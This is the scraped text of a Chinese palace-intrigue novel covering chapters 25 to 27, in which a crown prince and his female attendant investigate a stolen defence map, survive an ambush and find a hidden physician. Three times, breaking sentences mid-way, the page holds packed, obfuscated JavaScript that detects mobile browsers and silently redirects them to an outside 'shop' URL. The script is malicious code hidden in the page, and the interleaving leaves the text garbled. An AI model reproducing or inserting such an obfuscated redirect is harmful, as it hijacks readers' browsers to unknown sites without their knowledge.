;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859957|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人骑着马,带着两位扮做家丁的侍卫,出了城,往北恒峰而去。 积雪覆路,崎岖难行,偶有樵夫或猎户路过,卫逾之吩咐侍卫便上前攀谈。 “你说那个太守老爷啊?唉,谁知道呢,说是从老远的南方过来的,性子好像有些孤僻,不太合群。”一个老樵夫杵着柴刀,摇头叹息。 “北恒峰这个地方邪得很!就是靠近都让人觉得心里发毛,更别说从那么高的地方摔下去了。” 另一个猎户也上去搭话:“可不是吗?那个地方鸟飞过去都打颤!官府派人下去找过,没见着尸首,只找到几片扯碎了的官袍和一只鞋。” “那么高,底下又是乱石生涧,水流湍急,就是没摔死,也早该淹死了,冻死了。没准让山里的饿虎拖走了,也不一定。” 他说着,咂了咂嘴:“反正啊,太守一定是没了。” 活不见人,死不见尸。 卫逾之远望那北恒峰,果然崖壁陡峭如刀削,深不见底,雾气在山下翻腾,传来湍急的水声。如此绝地,生还可能确实微乎其微。 但……真的绝无可能吗? 若是有人精心布置,制造坠崖假象呢?那找不到的尸体,究竟是被自然吞噬,还是压根就没有存在过? 她正凝神思索,周重晏已示意打探完毕,该回去了。 他们循原路返回,快到客栈时,天色愈发暗沉,似乎又要下雪。 行至四方驿附近,街角已有手巧的妇人支起摊子,售卖以竹篾彩纸扎就的简易花灯,在灰白天地间透出几点暖色。 卫逾之目光掠过,想起了什么,忽而轻声开口:“明日……似是上元节了。” 周重晏脚步微顿,顺着她的视线望去。 是了,年关已过,上元在即。 在宸朝,上元节乃万民同乐之佳节,入夜后,千家万户燃灯祈福,更有放飞孔明灯之俗,万千灯盏携着心愿升入苍穹,与星月争辉,蔚为壮观。此等盛景,他于宫中虽也见过内廷巧匠所制华灯,却终不及民间那浑然天成的炽热与磅礴。 他侧首看向卫逾之,见她眸中映着那几点微薄灯色,忽而忆起深宫多年,她所见天地,不过红墙碧瓦圈出的一方。 “明日上元,”周重晏语气温缓,眼底之色如春日冰雪初融,“虞城虽处边塞,想来亦有灯会。不若……你我摒去俗务,暂作寻常游人,去那灯市凑个热闹,如何?” 卫逾之愕然抬眸,对上他眼中那抹罕见的、近乎纵容的柔和。 烽火边城,危机四伏,此举何其冒险,又何其……令人心动。 她唇瓣微动,尚未答言,心中那点对寻常人间烟火的隐秘渴望,已如春芽破土,再难抑制。最终,她只轻轻颔首,低应一声:“但凭殿下安排。” 二人不再多言,举步踏入“四方驿”客栈。堂内炭火暖融,驱散一身寒气。正欲登楼,卫逾之眼风扫过柜台,身形却骤然一凝。 柜台前,一个穿着靛蓝罗裙的少女,正局促的捏着衣角,同店小二攀谈。她侧脸沾着灰土,形容憔悴,显然是风尘仆仆,而那眉眼轮廓…… 卫逾之心头一怔,竟是赵媛惜! 25. 虞城风云(三) 那女子似有所感,猛然转头。 四目相对瞬间,赵媛惜瞳孔骤缩,脸上血色尽褪,张开口,一声惊呼眼看就要溢出唇边! “你!你是东、东……” 电光石火间,卫逾之已如离弦之箭掠至她身侧,一手迅疾如风,死死掩住她即将惊呼的嘴!另一手则牢牢扣住她瘦削的肩臂。 卫逾之俯身,在她耳边疾言低喝:“噤声!若想活命,便随我来!” 赵媛惜浑身僵直如木石,眼中惊骇,任由其拖拽,踉跄着走向楼梯。 周重晏早已察觉异状,眼神示意两名侍卫不着痕迹断后,隔绝旁人探究困惑的目光。一行人悄无声息,迅疾转入二楼廊道尽头卫逾之所居的上房。 “砰”一声轻响,房门紧闭,将外间一切窥探隔绝。 卫逾之这才松开手,气息微乱。 赵媛惜脱力般跌坐于地,背靠门板,仰头看着逆光而立、面覆寒霜的卫逾之,以及缓步踱入房内、神色莫测的太子周重晏,浑身颤抖如筛糠,泪珠断了线般滚落。 “太……太子殿下……卫侍臣……”她齿关打颤,语不成调。 周重晏撩袍于椅中坐下,目光如古潭无波,静静投注于她身上,未言先威。 卫逾之稳了稳呼吸,倒了一杯温水递过去,语气放缓,却仍带警示:“赵姑娘,此地非比长安。你须据实以告,为何流落至此?” 温水入喉,紧绷的身体稍缓。赵媛惜捧着粗糙陶杯,断断续续,似乎要将满腹凄楚与悲愤倾吐而出: “我娘……去岁冬日便没了。缠绵病榻时,只念着那名。她跟了父亲一场,到头来,连祠堂都进不了……”她哽咽难言,良久方续,“得知父亲回来,我……我只想求他,看在娘伺候他、生养我一场的份上,哪怕给个虚名,也好让娘魂灵有个依归……东宫外那日,是我痴心妄想……” 她泪眼朦胧,望向周重晏,又急急垂下:“父亲……他恼我丢了他的颜面,回去便将我锁进别院,言道再也不放我出去。” “我、我实在怕极了,趁守夜婆子吃酒赌钱,偷跑出来。我一路往北逃,胡乱行走,不知怎的,竟到了这虞城。今日……今日所带细软实在是用完了,想在客栈里找个零工做。” 言至此处,她已是泣不成声,单薄的肩膀剧烈耸动。 卫逾之听罢,默然无言。 同是女子,她能体会赵媛惜为母求名的那份执拗,亦更能感受其被至亲厌弃如敝履的彻骨寒凉。 周重晏指节轻叩桌面,眸中思虑重重。 赵媛惜所言,情理可通,其境遇亦堪怜。然,值此虞城风云诡谲之际,任何突兀出现之人,皆不可轻信。 房门被轻轻叩响。扮作家丁头领的侍卫统领在外低唤:“姑娘,长安有讯。” 二人交换一个眼神。 周重晏起身,对卫逾之微微颔首,示意她暂且看住赵媛惜,随即推门而出。卫逾之亦跟至门边,留神内外动静。 廊道转角僻静处,那侍卫统领将一管细小竹筒双手奉上,筒身尚有寒气。 周重晏抽出内里一卷薄如蝉翼的信笺,就着廊下昏暗灯光迅速览毕。 信笺之上,虽只有寥寥数字,却力透纸背:“人已抵京,臣已接应,于御前陈情,罪证昭然。林氏势颓,大厦将倾。” 周重晏眸中一亮,唇角微扬。 那渭水之上擒获的刺客首领,已经被秘密押送回长安。贺中丞不负所托,不仅妥善接应,更已凭那画押口供及活口人证,直陈御前! 此番人证物证俱全,矛头直指林九思行刺储君、图谋不轨! 好一个“大势已去”!林氏此番,即便没有立刻覆灭,也必元气大伤,难以再如之前那般肆无忌惮。 周重晏将素笺就着灯火点燃,看着其化为灰烬。他转身,对那侍卫统领低语数句,嘱其加强戒备,并留意长安动向。 待周重晏重回房内,卫逾之已从他那细微的神色变化中窥知一二。 烛火摇曳,二人低声耳语,听闻长安密讯,卫逾之眼中亦含着些许振奋,然眉宇间忧色未退。 “殿下,林九思此番虽受重创,恐有困兽之斗,未必不会在虞城留有后手,我等仍需慎之又慎。” 周重晏颔首:“你所虑甚是。长安之变,或可暂缓其势,然此地暗流,恐更汹涌。”他目光转向室内瑟缩于角落、犹自垂泪的赵媛惜,沉吟道,“此女……留或不留,皆有利弊。” 留她,身份敏感,或成累赘,甚或成为他人窥探之眼线;不留,任其流落这危机四伏的边城,以她这般境遇心性,恐难存活,于心何忍? “殿下,”卫逾之轻声,“赵姑娘身世飘零,走投无路,若此刻逐她,无异于推入死地。不若暂且收容,置于眼皮之下,严加看管,或可一观其真伪,亦算留她一线生机。” 周重晏凝视卫逾之片刻,知她终究心软,便走至赵媛惜面前。赵媛惜见他近前,慌忙以袖拭泪,匍匐于地。 “赵姑娘,”周重晏道,“念你身世堪怜,又值此非常之时,可暂留于此。然须谨记,安分守己,不得踏出客栈,不得与外人私相传递,一切需听卫侍臣安排。若有违逆,或生异心,定不轻饶。” 赵媛惜闻言,如聆仙音,猛地抬头,她几乎是膝行两步,竟不顾礼节,一把死死攥住太子衣袍的下摆,泪如泉涌,哽咽叩首:“殿下大恩!民女……民女无以为报!愿……愿为奴为婢,终身侍奉左右,以报殿下之恩!” 周重晏眉峰骤然蹙起,手腕一振,不着痕迹地将衣袖从她手中抽回,脚下亦退开半步。 他神色肃然,声音微冷:“赵姑娘慎言!留你在此,乃是卫侍臣怜你孤苦,为你求情。你若要谢,便谢她。”他侧身,将卫逾之让至身前,界限划得清清楚楚。 赵媛惜一僵,脸上掠过一丝窘迫与恍然,连忙转向卫逾之,便要叩拜。 卫逾之连忙扶住,温言道:“赵姑娘不必如此,且先安心住下。明日便是上元节,城中或有灯会,或可稍解愁闷。” 虽处边城,虞城亦不负佳节。 翌日,未至黄昏,长街两侧已陆续悬挂起各式灯球。雪后初霁,天色清朗,衬得那一片长灯愈发鲜明。 卫逾之晨起,去往隔壁赵媛惜暂居的客房,唤她一同出门。 她推门而入,却见房间北面那扇小窗竟敞开着,冰冷的风灌入室内,赵媛惜只穿着单薄中衣,怔怔立在窗边,望着窗外灰白的天际与覆雪屋檐,脸色苍白如纸,眼神空洞,仿佛神魂已离。 “赵姑娘?”卫逾之不解蹙眉。 赵媛惜浑身一颤,恍然回神,见是她,仓促关上窗户,声音飘忽:“我、我方才……想起我娘走的那日,也是这般天气,窗户开着,她说……想最后看一眼外头的雪……”语至末尾,已是哽咽难继,眼中浮起一层迷蒙水光。 卫逾之默然片刻,柔声道:“逝者已矣,生者如斯。虽人生多艰,犹愿姑娘奋力向前。” 赵媛惜含泪连连点头。 华灯初上,虞城主街果然热闹起来。 人流如织,摩肩接踵,贩夫走卒吆喝叫卖,孩童举着简易的鱼龙灯嬉笑穿行,各家商铺门前亦悬起明灯,将积雪映照得晶莹剔透。 众人混迹于人群中,卫逾之起初还有些拘谨,渐渐也被这鲜活的人间烟火气感染,唇角不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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灯芯点燃,热气蒸腾。二人同时松手,那两盏灯便轻盈而起,汇入那漫天光河之中,渐行渐远,终化作了难以辨认的两点微光。 灯会渐散,几人随着人流往回走。 待走近街市连通四方驿的小巷,渐渐人烟稀少。此处灯火稀疏,人迹罕至,唯有积雪映着微弱天光。 “小心——!”一直跟随在队伍后部的赵媛惜突然发出一声凄厉的尖叫,猛地冲上前撞开周重晏,手臂划过一道血口。 几乎同时,两侧高墙之上、屋顶积雪之中,骤然跃下十数道黑影!他们身着夜行衣,手持利刃,不言不语,直扑周重晏所在方位! “护驾!”卫逾之反应极快,厉喝出声的同时,已将他和赵媛惜猛地向后一拉,自己旋身挡在前方,腰间宝剑已然出鞘,寒光乍现!几名扮作家丁的侍卫亦瞬间暴起,拔出兵刃,与刺客战作一团! 周重晏虽不似卫逾之般精于武艺,但亦有骑射功底,此刻临危不乱,迅速拔出佩剑,一同迎敌。 卫逾之深知必须速战速决,拖延恐生变故。她剑光如练,招式狠辣精准,专攻刺客要害,口中更是不停发出简短指令,协调侍卫合围。在她冷静的指挥下,侍卫们配合无间,很快将刺客分割压制。 眼见刺客渐露败象,她的目光锁定一名似是小头目、受伤未倒的刺客,意图生擒留活口审问。随即剑势一缓,正欲改刺为拍。 “啊——!”又是一声尖叫,只见那原本吓得瘫软在地、手臂血流如注的赵媛惜,不知何时竟拾起了掉落的一柄长剑,双目赤红,带着一丝歇斯底里的狠绝,朝着那名受伤刺客,不管不顾地猛冲过去,双手握剑,用尽全身力气,狠狠刺入其胸膛! 只听“噗嗤——”一声,利刃入肉。那刺客瞪大眼睛,难以置信地看着胸前透出的剑尖,随即软倒在地,气绝身亡。 26. 故人 赵媛惜那一剑又快又狠,彻底断绝了活口的可能。 卫逾之阻止不及,已是无力回天。 满地刺客尸首狼藉,血腥气浓得引人作呕。 “我、我杀人了……”赵媛惜仿佛这才意识到自己做了什么,手中的长剑“哐当”坠地。 她的脸色瞬间惨白如纸,浑身抖若筛糠,惊恐的泪水夺眶而出,随即眼白一翻,竟是直接晕厥过去,软倒在地。 顷刻之间,杂沓的脚步声与火把光亮涌入了巷道。 虞城巡防卫队听见动静,赶来查看,为首的队正看到眼前这般景象,以及持刃而立的众人,顿时头皮发麻,厉声喝道:“尔等何人?在此聚众械斗,杀伤人命,还不速速束手就擒!” 话音未落,周重晏已微微抬手,止住了身后侍卫欲亮兵器对峙的举动。 经此一役,行藏已难完全遮掩,此刻若再与地方守军冲突,徒增麻烦,且不利于后续查案。 与其被动纠缠,不如主动掌控局面。 他侧首,向卫逾之递去一个眼神。 卫逾之会意,压下心中的疑虑与惋惜,越众而出。 她自怀中取出那块通体青绿的青宫令,高举于火把之下。 “青宫令在此!”卫逾之声音响亮,穿透夜色,“今夜之事,乃剿灭袭扰储君之逆党。尔等速清场地,封锁消息,不得外泄半字!若有违逆,以同谋论处!” 青宫令!此乃东宫令牌,持之者可调东宫卫率,代行储君之权,除太子及其心腹近臣外,无人可佩用。 那队正虽未见过此令真容,但那材质、纹饰、气势,绝非伪造,又闻“储君”二字,再联想近日城中太子将至的传闻,顿时吓得魂飞魄散。 “末……末将不知殿下驾临,惊扰圣驾,罪该万死!”他率先反应过来,噗通跪倒,连带身后一片兵卒也矮下身去,磕头如捣蒜,冷汗瞬间浸透内衫。 “起来吧。”周重晏拧了拧眉心,不知是否是着了凉,他的额头有些隐隐作痛。 “此地交由尔等善后,尸体仔细勘验,所有物件封存,直接呈报于孤。今夜所见所闻,若有一字流出……” “末将遵命!定当严守机密,妥善处置!”队正连连应诺,不敢有丝毫怠慢。 既已亮明身份,便不再适合滞留“四方驿”那等鱼龙混杂之处。 虞城司马孙敬闻讯,吓得魂飞魄散,连滚带爬赶来迎驾,将他们一行人恭敬请入了城中专为接待上官预备的别苑下榻。 别苑书房内,烛火通明。 周重晏屏退闲杂,只留卫逾之与那面色惶恐的孙敬。 他单刀直入,询问布防图当日失踪详情。孙敬战战兢兢,所言与之前听闻大同小异,无非是密室失窃、毫无头绪、满城风雨云云,细节处亦含糊其辞。 周重晏听罢,眉头深锁。 他自幼受储君教育,经史策论娴熟,权谋制衡亦有心得,然于具体军务布防、城池守御之道,终究欠缺实务经验与深入钻研。 此等专业之事,非其所长。 他沉吟片刻,目光转向身侧沉静侍立的卫逾之。 这些年,她伴读东宫,不仅文才出众,更因江延教导及自身勤勉,于兵法舆图、军械阵势所知颇深,心思之缜密、应变之机敏,他自愧不如。 “布防图虽已寻回,然其真假难辨,且难保未泄露于敌。虞城防务,必须即刻着手调整。”周重晏指了指卫逾之,“具体变更细则,由卫侍臣与你共同拟定。” “她之言,即孤之意。” 孙敬闻言,先是一愣,目光不由自主地瞟向卫逾之。 他早听闻太子身边有一得宠侍臣,料想不过是容貌清丽、略通文墨,得以近侍罢了。 此刻太子竟将军国重务、城池防务变更这等大事,交予一个年轻女子主持?这未免太过儿戏! 他心中虽作此想,脸上却不敢流露分毫,只连连躬身:“是,是,下官遵命。只是不知卫姑娘……” 卫逾之知他心存疑虑,也不多言,只淡然道:“有劳司马将虞城现存布防详图、兵力部署、器械库存、周边地形水文的详细卷宗取来。时间紧迫,你我需尽快理出关窍,拟定修改方略。” 见她气度从容,言谈间直指要害,毫无怯场,孙敬心中惊疑不定,却也只能依言行事。很快,大量图卷文书堆满案几。 烛影摇曳,三更已过。 卫逾之埋首于繁杂卷宗之中,时而凝视舆图上标注,时而提笔疾书,时而向虞城官员提出些许问题。 她对虞城防务的理解之深、对关键节点的把握之准、对修改方案思路之清晰缜密,令那位自诩熟知军务的孙大人目瞪口呆,心中那点轻视早已化为震惊与叹服。 这位卫侍臣,哪里是什么以色侍人的宠臣?分明是胸有丘壑、腹藏甲兵的奇才! 然兹事体大,牵一发而动全身。彻底推翻重制绝非旦夕之功,且易引动荡。 卫逾之权衡之下,只能采取稳妥之策。 于不改变愿布防图框架的前提下,针对几处最为关键的环节,进行调整。 这些改动看似细微,却如移动棋局上的几枚关键棋子,足以让整个防御体系的应对逻辑发生变化,即使敌人手持原图,按图索骥,也必将陷入新的困境。 这一番运筹帷幄,直忙到东方既白。 卫逾之眼中已有血丝,却仍一丝不苟地核对着最后几处细节。那虞城司马孙敬,更是累得几乎虚脱,看向她的眼神已满是敬畏。 “之儿,你……咳咳咳……” 周重晏正欲起身让卫逾之暂行歇息,不曾想一时头重脑热,一时咳嗽不止,似是染了风寒。 “殿下!”卫逾之连忙扶住他,不禁眉头紧锁。 孙敬一看,吓得魂飞天外。 太子若在他的地头上有个好歹,他有几个脑袋够砍? 只是,随行的东宫太医尚在后方大部队中,未曾抵达,而虞城这等边城的大夫,只怕不值得信服。 卫逾之坐于周重晏病榻之侧,用浸了凉水的丝帕一遍遍为他更换额上敷巾。 触手所及,肌肤滚烫,周重晏紧蹙的眉头与压抑的咳嗽声,无不牵动着她的心弦。 此病若拖延加重,或用药不当,后果不堪设想。 孙敬急得嘴角起泡,犹豫再三,嗫嚅着说出一个名号:“其实,城中医馆的坐馆大夫,名唤吴庸,此人医术颇为精湛,只是……” “只是什么?”卫逾之急道。 “只是性情极为古怪,立下规矩,只救贫苦百姓,绝不诊治达官显贵。下官之前曾派人去请,皆被其学徒轰了出来……” 只救平民,不治权贵?卫逾之心中微动。值此太医未至、寻常大夫束手之际,也只能试一试了。 “孙大人,”她起身,走到焦灼踱步的孙敬面前,“你方才所言的医馆,在何处?带我去。” 孙敬一愣:“卫侍臣,那大夫性情古怪,执意不肯……” “无妨,”卫逾之打断他,“我亲自去请。” 虞城医馆并不起眼,灰墙黛瓦,悬一黑底金字的旧匾。 门前却是人山人海,摩肩接踵。 求诊的百姓排成了蜿蜒长龙,拄拐的老叟,怀抱婴孩的妇人,面色蜡黄的汉子,皆翘首以盼。 卫逾之翻身下马,并未急于上前,而是悄立一旁观察。她耳力极佳,捕捉着人群中的零星话语。 “吴大夫真是神医啊!俺那老寒腿,多少郎中都瞧不好,他给扎了几针,开了几副药,如今竟能下地了!” “是啊,就是规矩怪……从不当场说病根,总让咱们第二天再来听方子。” “可不是嘛!上回俺娘胸口疼得厉害,吴大夫让她蒙上眼睛带进里间用针,出来时娘说眼前一片黑,只闻到一股子特别的草药味,针怎么下的全然不知,可病真就好了!” “神秘兮兮的,许是祖传秘法,不便示人吧。” “听说之前官府的人来请,被吴大夫直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877210|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轰了出去,言道‘只医百姓,不伺权贵’,真是怪得很!” 不当场诊断,需次日再听方?施针须蒙眼入内? 卫逾之不解,这行医方式实在闻所未闻。 她不动声色,目光扫过医馆内部。 透过敞开的门扉,可见堂内设一简陋诊案,一位年约五旬、面容古板、蓄着山羊胡的灰衣老者正襟危坐,想必便是吴庸。 他果真如百姓所言,从不即刻断言病情,只将脉案记于纸上,让学徒收好,便唤下一位。 每当有需要施针的重症患者,便有学徒取出一条干净黑布,仔细为患者蒙住双眼,然后由吴庸亲自引着,穿过诊堂后一道悬挂布帘的小门,进入后方。 约莫一盏茶功夫,再将其引出,除去蒙布。患者往往面露惊喜,连声称谢,言说病痛大减。 卫逾之看得分明,吴庸引患者入内时,步履沉稳,神色如常;出来时,亦不见疲态。 他亲自施以高妙针法,耗时耗神,连续诊治如此多病患,面上竟是毫无倦色? 而那布帘之后,隐隐似有极淡的药草气息飘出,清冽微苦,却是似曾相识。 心念电转间,卫逾之瞳孔猛地一缩,指尖微微颤抖,被她强行压了下去。 轮到她时,扮作家丁的侍卫上前,拱手道:“吴大夫,我家公子身染急症,高热不退,烦请您移步出诊,诊金必厚。” 吴庸头也不抬,一边为面前的老妪写脉案,一边冷淡道:“老夫规矩,不出诊,不治官宦之家。请回吧。” 侍卫加重语气:“大夫,救人一命胜造七级浮屠,我家公子诚心相请……” “规矩就是规矩。”吴庸放下笔,斩钉截铁道。 说着,他挥手示意下一位病人上前,竟是全然不顾。 卫逾之依旧保持沉默,她缓步上前,目光并未停留在吴庸身上,而是状似无意地扫视着医馆内部。 陈设简单,药柜整齐,地面洁净。 她的目光最终落在吴庸身后那面与周围墙壁颜色略有差异的木质隔板上。 隔板看似与墙壁一体,但边缘缝隙的处理略显粗糙,且靠近地面处,隐约有一道极淡的、不同于寻常走动留下的磨损痕迹。 卫逾之身后一名侍卫已按捺不住,上前一步,厉声呵道:“尔等莫要敬酒不吃吃罚酒!”说着便要推开学徒硬闯。 “放肆!此处岂容尔等撒野!”堂内的吴庸闻声抬头,脸色一沉,厉声呵斥。 场面一时僵持。 卫逾之忽然开口:“吴大夫,您方才为上一位病人记录的脉案,乃‘脉象沉弦而数,舌红苔黄燥’,可对?” “是又如何?!”吴庸正恼怒,闻言一怔。 “既是如此,我便斗胆问一句,此症当以何解?” 吴庸慌了神,“与你何干?老夫规矩不能破。请回吧!” 卫逾之微微颔首,心中最后一丝疑虑消散。 他的反应,恰恰印证了自己的推测。 吴庸或许懂些医术,但绝非是通晓医理,悬壶济世之人。 她不再多言,忽然抬手指向那道隔板,对侍卫下令:“打开它。” “不可!”吴庸脸色大变,急欲阻拦,却被两名侍卫轻易拦住。 隔板被掀开,露出其后幽深的走廊。卫逾之率先步入,侍卫紧随。 走廊尽头,竟是一扇虚掩的木门。推开木门,里面是一间陈设简单却异常洁净的密室。 靠墙一排药柜,屋中一张长案,案上整齐排列着银针、药钵、研杵等物。 而此刻,正俯首于案前,对着一叠脉案纸凝神思索的,是一名身着朴素青衫、侧影清瘦的年轻男子。 听到动静,男子蓦然抬头。 四目相对瞬间,时光仿佛骤然倒流。 尽管他已褪去稚气,身形也抽长了许多,但那双仿佛能洞悉一切,带着防备而沉重的眼眸,与那个雨夜的少年再次重叠。 “何公子,别来无恙。” 27. 山雨欲来 密室门扉紧闭,隔绝外间惶然。 吴庸被侍卫半押在门口,脸色惨白,汗如雨下。 侍卫低声请示:“姑娘,此二人行踪诡秘,是否先行扣押?” 卫逾之闻言,头也未回:“不必。你们在外守好,任何人不许靠近。我自有计较。” “是!”侍卫应声退去,在外牢牢把守。 室内一时静极。 何生尘约莫不满二十,面容端正,双眉浓黑如墨,斜飞入鬓,目若寒星,却凝着一股挥之不去的郁色。 “姑娘怕是认错人了,”那句“别来无恙”,并未激起他眼中丝毫波澜,反而冷笑出声。 “在下乃此间坐堂大夫的侄儿,略通岐黄,在此帮忙罢了,并非姑娘故人。” “是吗?”卫逾之并不意外他的否认,上前一步,目光坦然迎向他,“嘉泰七年夏,暴雨夜,晋城官道,商队马车,何公子都不记得了?” 何生尘的瞳孔微微收缩。 卫逾之顿了顿,继续道:“那两个逃亡的女孩,一个叫寻梅,另一个……便是我。” “你当时穿着一身料子不差的细软衣裳,偏偏还是离朝形制,不像寻常跑商的孩童。当时我便猜出,你乃偷渡而来,只是一直不明原因。” “现在我才知道,你姓何,逃亡时都带着草药,想来是医门之后。” “嘉泰七年,离朝先帝暴毙,太医世家何家满门被诛,几近灭族。传闻离帝弑父,何家不过是顶罪羔羊。” “若我猜的不错,你便是何家唯一遗孤。” 何生尘脸上那抹讥诮的笑意淡了下去,眼神变得复杂。 卫逾之目光扫过密室中那些器械与古籍,缓缓道:“吴大夫从不当场断症,须待次日;疑难之症,必令病患蒙眼,方肯施针;且立下规矩,绝不医治官宦权贵。” 她每说一句,何生尘眸光便沉凝一分。 “此等行径,非是脾性古怪,实为掩人耳目。” “真正执针断症者,恐非前面坐堂的吴大夫,而是何公子你吧?” “你休要胡言!”何生尘眼中寒光骤起,强装镇定。 “让我再猜猜,”卫逾之步步紧逼,“你当年逃离离朝,潜入宸朝,想必并无合法通关文牒。” “故而,你无宸朝户籍,是见不得光的黑户。一旦公然露面行医,引人注目,官府盘查,你的来历便再难遮掩。所以,你只能藏身幕后,借吴大夫之名,行救人之实。我说得可对?” 何生尘死死盯着她,胸膛微微起伏。 半晌,他才从牙缝里挤出声音:“姑娘好手段,好眼力。不去刑部当差,真是屈才了。” 这便是变相承认了。 “只是,知晓太多秘密,未必是福。” “是否是福,端看如何处置。”卫逾之语气转沉,“我无意深究你的过往,亦无意将你交予官府。但眼下,有一事需你相助。” “何事?” “随我去救治一人。” 何生尘嗤笑一声:“又是哪位达官贵人?在下早已言明,不治权贵。” “姑娘如今攀上高枝,忘了那夜雨中狼狈,便觉可随意驱使我为你主子效命? “小心爬得越高,他日跌得越重,步我何家后尘,也未可知。” 卫逾之并不理会他这含沙射影的挑衅,回敬道:“当年雨夜,你予我与寻梅栖身之所,是一份人情。但你别忘了,当时商队遇见盘查,是我替你遮掩了过去,才免了你被当场抓获。” “那份人情,当时便已还了。今日我以秘辛换你出手,公平交易,互不相欠。” 何生尘目光一凝,显然想起那桩几乎遗忘的旧事。 两人目光交锋,无声较量。 “好一个公平交易。”何生尘最终扯了扯嘴角,“人在何处?带路。” 卫逾之心下稍定,面上却依旧冷静:“你需要一个合理的身份随我回去。便以吴大夫擅长风寒外伤的学徒之名,如何?” 何生尘瞥了一眼紧闭的门外:“尚可。吴庸自有法子圆谎。” 众人返回别院之际,周重晏已服了先前大夫开的发散药剂,正沉沉睡着,面色潮红未退,眉心微蹙,显然并不安稳。 何生尘踏入殿内,目光落在榻上之人身上,只一眼,便迅速移开,眼底闪过一抹厌色,像是看到了什么不洁之物。 他示意卫逾之将其手腕置于脉枕之上,随即伸出三指搭脉。 诊脉之后,他又查看了太子舌苔、眼睑,甚至轻轻按压了几处穴位观察反应。 “风寒入里,兼有湿郁,外邪未解,内热已生。先前之药,方向无误,但力道不足,且未兼顾疏解郁结。” 他收回手,走向桌案,提笔便写,毫无滞涩,“重新开方,加重解表清热之品,佐以理气化湿。三剂之内,热可退,咳可缓。” 卫逾之接过药方,立即吩咐人去抓药煎制。 “隔壁尚有一女,昨日为护驾手臂受了刀伤,今晨起了高热,伤口红肿,神思惊惧不安。还请一并看看。” 何生尘皱了皱眉,似是不耐,但既已应下,还是随她来到了赵媛惜房中。 赵媛惜躺在床上,额上覆着汗巾,脸色惨白,嘴唇干裂。 听到脚步声,她猛地一颤,惶然睁眼,看到陌生男子,更是惊恐地往里缩了缩,眼神涣散,口中喃喃:“冷……好冷……” 何生尘见状,眉梢微挑,没有多言,手法利落的为赵媛惜检视伤臂。 赵媛惜本就因惊吓高热而神思涣散,见他近身,更是惊恐万状,不住地瑟缩,口中呓语愈发凌乱: “别过来……不是我杀的你……” “阿娘……别丢下我……” 何生尘面无表情,快速清理着她伤口周围的红肿,敷上自制的清凉药散。 就在他缠裹绷带时,赵媛惜因剧痛猛地一挣,眼瞳放大,一句含糊不清的呓语,冲口而出: “图、布防图都被偷了……离朝人要杀过来了!要杀过来了!都会死的!会死的!” 卫逾之正在稍远处观望,闻言倏地抬眸看向榻上胡言乱语的赵媛惜。 连她都知道了? 何生尘亦是手上动作一滞,但他显然不欲卷入是非,立刻加快手上动作,三两下包扎完毕,退开几步,语气冷硬地对卫逾之道:“伤口已处理,按时换药即可。她这失魂之症,我治不了。若无他事,在下告辞。” 说罢,他背起药箱,头也不回地快步离去,行至门口,又驻足,侧首对卫逾之丢下一句:“姑娘,今日之事,权当未曾发生。望你守信,莫再寻我麻烦。” 话音未落,身影已消失在门外廊道。 卫逾之无暇顾及何生尘的警告,待赵媛惜因药力与疲惫渐渐平静,呼吸趋稳,似要睡去时,她才坐到榻边,放柔声音,试探道:“赵姑娘,方才你说布防图被盗,离朝人要打过来了?” “这般骇人的消息,你是从何处听来的?可是有人对你说了什么?” 赵媛惜半阖着眼,意识依旧模糊,闻言下意识地喃喃回答:“店小二,四方驿的店小二。” “他同每个客人都说……说城里不安全了……图没了,离朝很快就要打过来,让大家早做打算……” 卫逾之呼吸一滞。 她猛然想起初到虞城那日,在四方驿安顿时,那店小二便曾欲言又止地提及城中“不太平”,当时她只道是市井流言。 如今看来,这流言的源头,竟可能就在眼前! 她正待细思,房门却被猛地推开,虞城司马孙敬脸色惨白,满头大汗地冲了进来,甚至顾不得礼数。 “不好了!刚得的密报,北边传来风声,说离朝、离朝皇帝李玄,已决意御驾亲征,前锋已在调集,不日便要南下,首要目标,恐就是我虞城啊!” “什么?!” 虽早有心理准备,孙敬急得团团转:“殿下眼下病体未愈,虞城危在旦夕,当务之急,是速速护送殿下离开这是非之地,返回长安才是上策啊!” 卫逾之听罢,看了一眼不安扭动的赵媛惜,示意侍从好生照看,自己则起身,走向外间。 周重晏尚在药力下沉睡,病容未减。 孙敬急得如同热锅蚂蚁,连连催促:“姑娘啊,殿下安危重于泰山!你们得快些启程了!” 卫逾之站在太子榻前,凝视片刻,缓缓摇头:“不。孙大人,请你立刻调遣最可靠的人手,准备轻车快马,并选派精锐护卫,护送殿下秘密离开虞城,返回安全地带。” “至于离朝来犯一事,不可张扬。” 孙敬一愣:“那卫姑娘你?” “我留下。”卫逾之转头,目光投向四方驿方向,“虞城之局,尚有一环未解。我需亲自去确认一件事。” 翌日清晨,她再次来到四方驿时,客栈大堂已坐了不少用早膳的客人,多是商旅打扮,神色多是难以掩饰的焦灼。 粗碗中的劣茶早已凉透,浮叶沉底。卫逾之独坐于喧嚣之外,冷眼旁观。 